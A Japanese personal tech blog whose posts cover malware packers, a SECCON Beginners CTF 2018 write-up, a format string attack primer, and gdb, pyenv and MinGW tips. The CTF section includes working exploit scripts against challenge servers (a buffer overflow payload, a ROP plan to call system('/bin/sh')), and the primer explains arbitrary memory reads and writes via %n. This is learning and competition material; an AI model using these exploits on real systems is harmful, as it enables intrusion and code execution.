fr33f0r4ll

自分用雑記

パッカーについて調べてみた

マルウェアに使われるパッカーについて

マルウェアに使われるパッカーについてちょっと調べたのでまとめておく。参考にしたサイトは以下。 徐々に増やすのが目標。

パッカー、パッキングとは

プログラムを実行できる状態のまま圧縮、符号化することをパッキングといい、パッキングするためのソフトウェアやプログラムなんかをパッカーという。 本来はプログラムのサイズを小さくしつつ、いちいち解凍しなくても実行できるようにするために使われていたらしい。 いつからかプログラムが静的解析されるのを妨害する目的でも使われるようになり、だんだん解析を妨害することに特化したものが増えていった感じだろうか。 元々の意味はともかく現在の使われ方は難読化とあまり差がないような気がする。 調べてみてもその違いについて明確に述べているものは見つからなかった。 パッカーはRuntime packer, self-extracting archivesとも呼ばれ、通常のzipの圧縮なんかと区別されることがある。 パッキングされたプログラムは普通に圧縮されたプログラムとは違い、パッキングされた状態で実行することができてパッキングされる前と同じことができる。

難読化との違い

意味合いの上ではデータをまとめて圧縮、符号化、暗号化するために行われるのがパッキングであり、データの意味を解釈するのを困難にするために行われるのが難読化であるといえると思う、根拠はないが。 しかし攻撃者がマルウェアをパッキングする目的はプログラムの意味や挙動を読み取れなくすることなので、一概にパッキングと難読化を分けるのは難しい。 しかも単純にサイズの圧縮のためにUPXなどのパッカーが使われていることもあるため、使われた目的から用語を分けるのも難しそう。

ちなみに難読化をするプログラムはオブファスケイター(Obfuscater)というらしい。 protectorという用語もある(packerとほぼ同じような使い方をされているっぽい)。

個人的な観察の結果からすると難読化はソースコードレベル、中間コードレベルで行われるタイプのものに使われる傾向があるらしい。 例えば、スクリプト言語の解読を困難にするようなものにはObfuscaterという用語が使われている。 また、Wikiに掲載されている難読化されたCの例として掲載されているのはCのソースコードだった(つまりソースコードレベル)。 Javaや.NETなどの中間コードを生成するものは、リバースエンジニアリングを防ぐためにObfuscatorを使おう!みたいなのも見つかった。

一方バイナリレベルで難読化を行うもの、特にバイナリの状態のプログラムを難読化するものはパッキングと呼ばれる傾向にあった。 セキュリティ系のところでしかこの用語が登場しなかったせいかもしれない。 あるいは、古くからありそうなサイトも多かったので単に用語が古いだけかもしれない。 packingだと荷物のパッケージングみたいなのしか出てこないので検索性が悪い。

StackExchange ReverseEngineeringで検索した結果だと、ヒット率は以下のような感じになった。 + obfuscator: 500 + packer: 159 + protector: 65 + pack: 54 + obfuscate: 500

明確に圧縮目的のものであればpacker, packingでも良いが、ほとんどのケースではObfuscator, obfuscateの方が良いのかもしれない。 少なくとも、マルウェア解析において問題になるのは難読化の方がほとんどだと思う。 とりあえずこの記事ではパッカー、パッキングを使うことにする。

マルウェアに使われる理由

パッキングするとプログラムの動作を変えないままその形を変えることができるため、プログラムのハッシュ値やバイト列などが一致するかどうかなどで検知するシグネチャベースのIDS/IPSやアンチウイルスソフト(AV)では検知することが難しくなる。 そのため、マルウェアを検知されないように送りこむために使われることがある。 このようにパッキングされたマルウェアでも、サンドボックスで実行しその挙動を観察することで検知できたりもする。こういう解析は動的解析という。

検知システムの回避だけでなく、パッキングすることによってリバースエンジニアリングによるマルウェアの解析を妨害することもできる。 マルウェアがパッキングされていると逆アセンブルしてもパッカーによって追加された命令と符号化されたデータしか復元できないため、本来の命令が確認できず解析が困難になる。 その場合マルウェア本来の動作を解析するためにはアンパックして本来の命令を復元する必要がある。 しかしこれがすごく大変で、元のパッカーが未知のものだったりすると非常にめんどくさい。 よく知られているパッカーや単なる圧縮のためのパッカー(UPXとか)なら簡単に復号化できるスクリプトがあったりするが、高度な攻撃者だとオリジナルのものを使うため自分でアンパックする必要がある。 このような妨害効果を期待して、攻撃者は複雑なパッキングアルゴリズムマルウェアに適用することがある。

パッキング手法

3種類の手法が解説されていた、知っているのはひとつだけだった。 + 自己解凍方式 - 下で抜粋したコンプレッサーとクリプターがあてはまる + API難読化方式 - 抜粋した中にはないが、どちらかというとプロテクターっぽい + 仮想マシン方式 - 下のバーチャライザーが当て嵌る。 これらの呼び方は完全オリジナルなので注意、元のサイトには手法自体に名前はなかった。 下のやつがもっと良い。

https://reverseengineering.stackexchange.com/questions/1779/what-are-the-different-types-of-packers ここにある名前がそれっぽい、日本語にして抜粋。

パッカーのコードが追加されて実行されるタイプ extension + コンプレッサー(Compressor) - データサイズを減らすために使われる - 一般的なもの: aPLib(FSG, LZMA, NRV(UPX)) - その他: JCALG1, BriefLZ, LZMAT + プロテクター(Protector) - リバーシングを困難にする - アンチデバッグ (anti-debugging) - isDebuggerPresent, 時間測るやつ、ハッシュ使うやつ - アンチ仮想化 (anti-virtualization) - VMWareの検知とか、仮想マシン用の特別なポートとかを調べて検知する - アンチダンプ (anti-dumping) - メモリのヘッダを消して妨害 - アンチ改ざん (anti-tempering) - checksumを使う - 一般的なもの: rolling checksum, CRC32, md5, sha1, adler, md4 - その他: Tiger, Whirlpool, md4, adler + クリプター (cryptor) - 暗号化するもの - 一般的なもの: ビット演算子(XOR/ROL/...), LCG, RC4, Tea - その他: DES, AES, Blowfish, Trivium, IDEA, ElGamal

元のコードを書き換えるタイプ transformation + バーチャライザー (virtualizer) - 元のコードを組み込みの仮想マシンのコードに替えるやつ、仮想マシン方式はこれ + ミューテイター (mutater) - コードを改変するが、元の命令アーキテクチャのまま - reflowing, oligomorphism - 詳しく書いてなかったのでよく分からない、要調査 - 多分、途中でメモリ上の自分自信のコード領域を書き換えるタイプ

機能を追加するタイプ extra features + バンドラー - 複数のファイルを一つのファイルとして実行できるようにするらしい

自己解凍方式

この方式のパッカーは元のプログラムを符号化あるいは暗号化してデータとして格納し、実行時に復号化してメモリ上に配置し実行する。 暗号化と符号化の違いは鍵が必要かどうかで、暗号化の場合は鍵がないと復号化できず、実行できないということになる。 多分一般的な方式で、マルウェア解析の話で出てくるアンパッキングはだいたいこの手法を対象にしてるっぽい。

アンパックするには、パッキングされたプログラムが元のプログラムのコードをメモリ上に展開したあと、元のプログラムを開始するアドレス(Original Entry Point, OEPと呼ばれる)を特定すればいい。 特定したら、アンパックし終わったタイミングでそのアドレスからメモリをダンプすると元のプログラムがだいたい手に入る。

API難読化方式

この方式のパッカーは、WinAPIとかの呼び出しを難読化して、解析しにくくする。 IAT(Import Address Table)なんかを動的に解決することで、ライブラリの関数を呼び出しているのを分かりにくくする。 この方式が使われていると、単純にメモリをダンプしただけではプログラムが解析できなくなるので厄介。 多分他の方式と併用されることが多いんじゃないかな。

ライブラリの関数自体をフックしたりすると解析できそう。

仮想マシン方式

この方式のパッカーは元のプログラムをオリジナルの仮想マシンで動作する独自命令に完全に変換してしまう。 パッキングされたプログラムは、独自命令になったプログラムとその独自命令を実行する仮想マシンで構成される。 一番高度な手法で、作るのも難しそう。

解析するためにはオリジナルの仮想マシンを解析し、どのように動作するのかを突き止めるしかない。

その他

他にも、ブロックごとに暗号化して一命令ずつ復号化して実行するようなパッキング手法も提案されてたりする。

apt upgradeでpyenv: xxxx: command not foundが出たときの対処法

command not found

いつも通りapt upgradeしようとしたらiconvコマンドが見つからなくて失敗したのでその対処法。

iconvに限らずコマンドが見つからない系の問題には似たような対処法ができると思う。

コマンドが使えるかどうか確認してみる

普通にターミナルからコマンドを使ってみて使えるかどうかを確認してみる。 今回の場合はpyenvのコマンドが見つからないエラーが出た。 もし探しているのがそのコマンドでいいなら、pyenvで環境を切り替えれば解決するはず(pyenv自体もう非推奨というか、別の方法が推奨されているので乗り換えた方がいいらしい)。

正しくないコマンドが使われている場合

今回の場合は探しているiconvはpythonのコマンドではなかったはずなので、他にiconvが存在していないかどうかを調べる。 whereis iconvlocate iconvを使えば、名前や正規表現でファイルを探せる。

whereisは実行ファイルやソースファイル、マニュアルを探すので、コマンドを探したいときはこっちの方がいい。

locateは全ファイルから探索する(あらかじめ作成したデータベースから検索するので高速に動く)ので、どこにあるか分からない場合に使える。

見つけたiconvコマンドをフルパスで実行すると正常に動作したため、どうやら参照するコマンドが違うようである。 この辺はpyenvの問題かもしれない、現在の環境で存在しないコマンドでもサジェストを出すために補足するようになっているらしく、シェルが実行ファイルのパス探索を止めてしまう。 pyenvのパスはPATHの後半に登録すべきかもしれない。

解決策は簡単で、pyenvより先に本来の実行ファイルが参照できるようにしてやればいい。 iconv/usr/binに存在しているなら、PATH="/usr/bin/:$PATH"とすれば本来のiconv`コマンドが先に参照される。

コマンド自体がなかった場合

インストールしよう。

SECCON Beginners CTF 2018 Writeup

1286ptで45位だった。

Misc

Welcome

IRCのトピック、なぜかロードのタイミングのせいで表示されずしばらく解いてなかった。

plain mail

pcapが降ってくる。 中身を見てみるとタイトル通り平文でメールが送信されている。 wiresharkからSMTPの通信を復元すると、送信された3通のメールを読める。 一通目はこれから送るファイルの内容についてで、暗号化されたファイルとパスをメールで送信してくるということが分かる。 2通目は暗号化されたファイル、3通目はそのパスとなっている。

2通目のファイルではお馴染のbase64エンコードされたファイルが送られている。 復号したデータをファイルに書き込んでfileでチェックするとzipであることが分かる。 解凍しようとするとパスを聞かれるので3通目の_you_are_pro_を入力する

解凍できるとflag.txtが出てくる

てけいさんえくすとりーむず

別に手計算する必要もないのでpythonを使った。 この程度ならシェル芸でもできそう。 100問単純な四則演算が降ってくるのでそれを解く。 Pythonみたいな動的言語ならevalとかあるのでそれを使うとパースする必要がなくて楽。 でも危険なので本当は避けた方がいいはず。

スクリプトは一応コレ。

from pwn import *

io = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

log.info(io.readuntil('------\n'))
log.info(io.readuntil('------\n'))

log.info("START!")

for i in range(100):
  log.info(io.readuntil(')'))

  line = io.readuntil('=')
  line = line.replace('=', '')
  log.info("exp: " + line)
  
  ans = eval(line)
  log.info("ans: " + str(ans))
  io.sendline(str(ans))

io.interactive()
io.close()

pwntoolsはリモートに繋ぐときに楽なので使ってしまう。

Find the message

ディスクイメージが降ってくるので解析する問題。 とりあえずマウントすると2つだけはメッセージが取得できる。 ファイル名が1_of_3とかなので1つ足りないことになる。 foremostを使うと復元できた。

1つ目のメッセージはテキストでbase64、解読すればフラグの1/3がゲットできる。

2つ目のメッセージはpngファイルだが開こうとすると開けない。 バイナリエディタか何かで見ると先頭の8バイトほどがXになっているのが分かる。 勘のいい人か知ってる人ならここでマジックヘッダが上書きされていることに気づける。 マジックヘッダとは、ファイルの種類を識別するために先頭に付けられるデータで、ファイルの種類ごとに決まっていたりする。 勘が鈍いとadobeRDFか何かに引っかかる、引っかかりました。 単にマジックヘッダが潰されていて認識できないだけなので、適当に調べるか既存のpngからマジックヘッダを復元して開くとフラグの1/3をゲットできる。

3つ目のメッセージはディスク上から削除されている。 このメッセージの復元は単にツールを使っただけなので基本原理について書いておく。

ディスクは通常決まった領域にどんなファイルがどこに保存されているのかを保持する目次を持っている。 普通パソコンがファイルを表示したりするときはその決まった領域を見ているのであって、ディスク全体を調べてファイルが存在しているかどうかを調べたりはしない(時間がかかるので)。 そして、パソコンなんかのディスクからファイルを削除するとパソコンからは認識できなくなる。 かといってディスクの上から無くなったわけではなく、単にファイルを識別するための目次から消されただけで実体はディスク上に残っている。 6GBくらいのデータを削除するときに0を6GB書き込んでいたらクソほど時間がかかるので普通はデータの上書きなんかはしないようになっている。 そこでさっきのマジックヘッダーなんかの情報を利用して、ディスク全体を調べれば消されたファイルでも内容が分かったりする。 そうやって削除されたファイルを復元したりする。

復元するとPDFファイルになっていて、開くとフラグの1/3がゲットできる。

3つのメッセージからフラグを復元できたので投げるだけ。

Crypto

Veni, vidi, vici

来た見た勝った、だったかな。 part1, part2, part3の3つのメッセージが入ったzipが降ってくる。 part1とpart2はカエサル暗号になっている。 スペースを含むアルファベットのみの暗号ならまずrot13を試す。

part1は鍵が13なのでnkf -rでそのまま読めた。

part2は鍵が違うのでブルートフォースでそれっぽいのを見つけるか、文章が同じような文章であることが単語から分かるのでそこから推測してもいい。

part3はぱっと見で混乱するが、part1とpart2を解いてから見ると文字を逆向きにしたような感じになっているのが分かる。 勘がいいと初見で分かるくらい見やすい。 読み解こう。

part3が面白かった。

RSA is power

文字通り力技だった。 最初は乗数とpowerをかけていてフェルマー法を使うやつかと思ったが解けず。 msieveで解いたらあっというまだった。 自作ツールに拘り時間を浪費してしまった、次は勝つ。

Streaming

ストリーム暗号の問題で、暗号化スクリプトが貰える。 暗号化方法を見ているとすぐに分かるが、乱数発生器に渡しているSeedがCで剰余を取られている。 Cが大分小さいのでブルートフォースで解ける。 あとは解読用のスクリプトを書いて無理矢理解読するだけになる。 コメントを付けたして綺麗にした解読コードはこんな感じ。

import string

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C  # vuln! i can brute force attack

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed


# in python2, there isn't isprintable
def is_printable(text):
    for ch in text:
        if ch not in string.printable:
            return False
    return True


cipher = open('encrypted', 'rb').read()

# key is in 0 ~ C
for i in range(0, 34607):
    g = Stream(i)
    plain = ''

    for i in range(0, len(cipher), 2):
        # a / 256 and a % 256 means a is divided into upper byte and lower byte
        [ch1, ch2] = cipher[i:i+2]
        dec_num = ord(ch1) + ord(ch2) * 256
        # if g returns same random-seq, we can decrypt cipher
        dec_plain = dec_num ^ g.next()
        plain += hex(dec_plain)[2:].rjust(4, '0').decode('hex')

    if is_printable(plain):
        print(plain)

実際には最後の表示判定は無しで目grepしたが、このコードなら正解だけが表示できる。

割と簡単で、暗号について知らなくても剰余から鍵が少ないことに気付けると思う。 初心者に丁度良く解ける難易度の暗号の鍵空間について知ってもらえる問題なので良い問題だと思う。

Well known

分からなかった。 指定された接続先にアクセスすると、鍵っぽいのが表示されてデータ入力を求められるようになっている。 入力された後に表示されるのは暗号文だろうか? 問題の名前から既知平文攻撃かなにかだと思うけど何の暗号か良く分からなかった。

Rev

Simple Auth

バイナリが降ってきて認証を突破しろと言われる。 gdbか何か実行していくとauth関数があり、この中で文字列が構築されて単純に比較していることが分かる。 何の暗号化も処理もなく単に比較しているだけなので、gdbで構築された後スタックで見るか、ltraceを使えばフラグが分かる。

Activation

.netとc#windowsが分からないので死んだ。 ディスクがどうとか言ってたのでディスク周りで何かあるのかもしれない。

crackme

死ぬほど頑張ってangr使った。 angrをコマンドライン引数に適用する方法が分からずまず死んだ。 次に、特に制約もなく使うとangrがクソほどメモリを持っていってPCが死んだ。

仕方なくマジメに解析してからangrを使うことにした。 解析するとmain関数でのprintfから入力値がフラグになっていて、32文字であることが分かる。

そして、呼ばれている関数のうちひとつは16回のループで何かしら判定を行っていて、その後に呼ばれる関数はargv[1]の16バイト目を引数に取っていることが分かる。 つまり前半16文字と後半16文字をそれぞれ処理しているっぽいことが分かる。

さらに、成功判定の箇所でグローバルなフラグが0かどうかで判定を行っていることが分かった。

前半16文字の判定をしている関数を見てみると、謎の文字列を構築し何らかの処理と判定をしてるっぽいことが分かった。 その処理はよく分からんかった。 でも途中でフラグに1を格納していたので、angrにそのアドレスを通らないパスを見つけるようにお願いした。 そしてフラグゲット。

angrの拝み方はこんな感じ。

import angr
import claripy

addr = 0x0040093c
goal = (0x0040099e)
avoid = [0x40081d, 0x40086d, 0x4008bd, 0x40090d, 0x40064d, 0x40069d, 0x400707, 0x400757]
key_length = 32

p = angr.Project('./crackme')
arg1 = claripy.BVS('arg1', 8*key_length)
state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'})

for b in arg1.chop(key_length):
    state.add_constraints(b != 0)

pg = p.factory.simgr(state, immutable=False)
e = pg.explore(find=goal, avoid=avoid)


for path in pg.found:
    key = path.state.se.any_str(arg1)
    print("KEY: {}".format(key))

割と直ぐ見つかってびっくりした。 強い人は普通に逆アセンブルして解析して解いてた、つよい。

message from the future

解析すらしてない。 どうも入力位置と入力値だけで出力が決まるっぽいのでブルートフォースでいけそうな感じがある。 あとでやるリスト筆頭。 これもangrで解析できたりするんだろうか? 使い方分かりづらい...

Writeupを見たらまさかの日付依存、date使ってたりしたっぽい。 どうやって気付いたんだ...

pwn

condition

そんなに難しくはないので初心者向け。 解析するとバッファの下にある変数を0xdeadbeefにするしかないことがすぐ分かる。 あとは入力値を構築するだけでいい。 出力可能な文字以外をどうやって入力すればいいか悩んでた人がいたので書いておく。

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'

これだけでもフラグが取れる。 リトルエンディアンで0xdeadbeefがバイト区切りで逆順になっていることに注意すれば問題ない。 もちろん検証で引っかかった。

実際には面倒なのでpwntoolsを使った。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './condition'

def start(argv=[], *a, **kw):
  '''Start the exploit against the target.'''
  if args.GDB:
    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
  elif args.REMOTE:
    return remote('pwn1.chall.beginners.seccon.jp', 16268)
  else:
    return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

log.info(io.read(timeout=0.1))
payload = 'A' * 0x2c + p32(0xdeadbeef)
io.sendline(payload)

io.interactive()

バッファオーバーフローさえ知っていれば楽に解ける問題で、初心者向けだと思う。 というか自分でもこんなの書いたなあ。

bbs

沽券に関わるので死ぬ気で解いた。 checksecなんかで確認するとNXくらいしかセキュリティ機構がない。

バイナリの中身はmainしかなく、シグネチャも残っててgets使ってるからbofし放題なので楽勝かと思った。 とりあえず任意のアドレスをripに設定できるとこまでいったが、そこから詰まってしまった。 systemをわざわざ使っているので要は/bin/shを呼べばいいと思ったが中々引数として指定できなかった。

解決策はgetsでメモリの適当な箇所に/bin/shと書き込むということだった。 partial RELROなのでとりあえずそこに書き込むことにした。 後はROPでちまちまやるだけになる。 pop rdi; retはあったので任意の引数で関数を呼び出せるので、fgetssystemを順に同じアドレスを引数にして呼び出せばいい。 何故かmain関数内のfgetsを使おうと馬鹿なことをしていたが、普通にpltで呼び出せばいい。 フラグゲットだぜ。

seczon

解けなかった。 最初にパッと見でheap問かと思って、こんなもんできるかって投げてたが、どうも書式文字列バグがあったらしい。 後でやる。

web

Greeting

adminになればフラグが見れる問題で、Cookievalueがadminかどうかのチェックがあるので、開発者ツールか何かで書き換えるだけ。

Gimme your comment

CSRFかと思ったら偽フォームにボットが釣られるのでUser-Agent見れるらしい、解けなかった。

SECCON Goods

解けなかった。 多分裏でSQL投げてて、jsからクエリを投げるパラメータを見つけて、そこにインジェクションするだけなんだろうけど分からん。

Gimme your comment revenge

見てもいない。

今回の敗因

  • Windows知らんかった。
  • 自作ツールに拘って時間を浪費した。
  • Web分からん。
  • 暗号あんまり知らなかった。

Windowsもっと使いこなしたいのでC#やりたい。 dvorakjpが見事にレガシーなので置き換えたいなあ。

自作ツールちゃん爆死。 流石に因数分解ガチ勢に叶わないにしろ、ブルートフォースすら効率最悪なのはよろしくない。 とりあえず素数判定と愚直なブルートフォースは実装したい。

徳丸本を読む、折角お値段据置きで第2版出るし。 でもweb系嫌いなんだよなあ。

CryptoのラストはElGamal署名らしい、ぱっと見で分からなかったので要勉強。

感想

beginnersということで参加を躊躇ったが何のことはなくまだまだ初心者だった。 問題は全体的にCTF初心者向けではあったが、ガチ初心者向けとはやっぱりいかなかったと思う。 CTFは前提としてある程度スクリプトが書けたり、ツールを自分である程度調べられたり、Linux使えたりしないといけないのでどうしてもハードルが高いなあと感じる。 Web分からなかったけど簡単だったらしく配点が低くなったのは幸運だった。

途中でexecveするときのgdbデバッグ方法

普通にset follow-exec-mode sameとかset follow-fork-mode parentとかやっても何故か子プロセスおっかけちゃって解析できなかったのでメモ。

まずset detach-on-fork offをする。 そうするとforkしてもデタッチせずにプロセスを止めておいてくれる。 止めてあるプロセスはinfo inferiorsで一覧が見れる。 解析するプロセスを変えるときはinferior 1とかで。

windows, gcc, long double, prinf

Cでlong doubleをフォーマット出力しようとしたら失敗したので備忘録。
調べてみると解決策っぽいのが見つかったが日本語情報はなかったのでメモしておく。 stackoverflowにあった。

問題

環境はWindows10、MinGW64のターミナルからgccで、long doubleが16バイトの環境になってる。
コードはこんな感じ。

#include <stdio.h>

int main() {
    long double ld = 0.1L;

    printf("sizeof(long double): %d\n", sizeof(long double));  
    printf("sizeof(double): %d\n", sizeof(double));

    printf("ld = %Le\n", ld);

    return 0;
}

コンパイルして実行

$ gcc test.c
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 3.205300e-317

MinGWだと内部でWindowsのruntimeで出力しようとしているのが原因っぽい。 Windowsだとsizeof(long double) == 8だけど、MinGWgccだとsizeof(long double) == 16だから不整合が起きる。

解決策

解決策は-D__USE_MINGW_ANSI_STDIOのオプションをコンパイル時に指定すればいい。 こんな感じになる。

$ gcc test.c -D__USE_MINGW_ANSI_STDIO
$ ./a.exe
sizeof(long double): 16
sizeof(double): 8
ld = 1.000000e-001

こうすればANSI規格かなんかになっているstdioを優先して使ってくれるような感じで上手くいくっぽい。 詳しく調べてないから具体的には分からない。

long double自体ビット長が環境によって結構違うっぽい(80bitとかもあるみたい)なので、使うのはできるだけ避けるかsizeofでビット長が想定している長さかをチェックした方がいい。
gccなら拡張機能として128bitの浮動小数点があるのでそっちが使えるかもしれない。

pwn基礎 書式文字列攻撃1

書式文字列攻撃

printfの%xなどのフォーマットを利用してメモリを読み書きする。 入力した文字列を直接printfの第一引数に指定できるときに可能になる。

確認方法

この脆弱性があるかどうかを確認するには、%xなどを入力してみて出力を確認してみるのがてっとり早い。 %xが16進数値に変わっている場合はおそらく攻撃が可能なはずである。 入力値が変形されるような場合ではこの方法は使えない。

他には静的解析や動的解析で直接printfの引数を確認する方法もある。 操作できるものが第一引数になっているかどうかを確認すればいい。

仕組み

値の読み込み

Cではprintfに文字列へのポインタを以下のように渡すことができる。

char* str = "%x\n";
printf(str);

もし以下のように文字列がユーザからの入力でも、%xや%sなどのフォーマットは機能する。

char str[1024];

fgets(str, 1024, stdin);
printf(str);

この場合、スタック上で引数に対応する位置にある値が表示されたりする。

ダイレクトパラメータアクセスという仕組みを使い表示する引数の位置を指定することができる。 たとえば%3$xとすると、3番目の引数を16進数で表示する。 これを書式文字列攻撃に利用すると、スタック上で100番目にある値を読み出すといったことができるようになるため、入力文字数が少ないような場合でも離れたアドレスの値を知ることができる。

これで書式文字列攻撃で任意の位置の値を読むことができるようになった。 スタックには他の関数が積んだリターンアドレスやスタック上のバッファのアドレスなんかがあったりするので、それを読み込むことでASLRやPIEによるランダム化を回避したりできる。

書き込み

次は書き込みである。 これには%n系をフォーマットを使う。 printfで%nを使うとこれまで出力したバイト数をスタックに書き込むことができるようになる。 本来は以下のように使うんじゃないかな。

int output_len = 0;
int a, b;

a = 0x100;
b = 0x1000;
printf("%d, %d\n%n", a, b, &output_len);
printf("output len: %d\n", output_len);

出力は以下のようになる。

256, 4096
output len: 10

改行を含めて10文字なので、出力された10バイトがoutput_lenに設定されていることが分かる。 フォーマット文字列の長さではなく出力されたバイト数が格納されるところがポイントで、余白指定などを利用すると短い入力でも32ビットのアドレスを指定することも可能になる。 ちなみに%nでもダイレクトパラメータアクセスが使えるので、スタック上の好きな位置を指定できる。 ただし、そのアドレスに格納されている値をアドレスとして値を設定するので注意。

これで書き込む値を指定できるようになった。 次に問題になるのは書き込み先である。 スタック上に任意の値を設定できないといけないが、好都合なことに書式文字列攻撃が可能な問題ではまさに書式文字列として指定されているユーザの入力を格納したバッファが存在している。 このバッファは大抵の場合関数ローカルな配列になっているので、スタック上の近い位置に存在していたりする。 これを利用して、入力の最初に書き込み先のアドレスを指定し、そのあとに%nを配置するようにすれば任意のアドレスへ書き込みができるようになる。

まとめ

最初に書式文字列攻撃で読み出しを行い必要な情報を取得する。 次にその情報を元に攻撃対象を決める、Partial RELROならGOT overwriteが、libcがあるならret2libcが大抵の場合狙うべき攻撃になると思う。 そして実際に書き込んで攻撃する。 というのが攻撃の流れになる。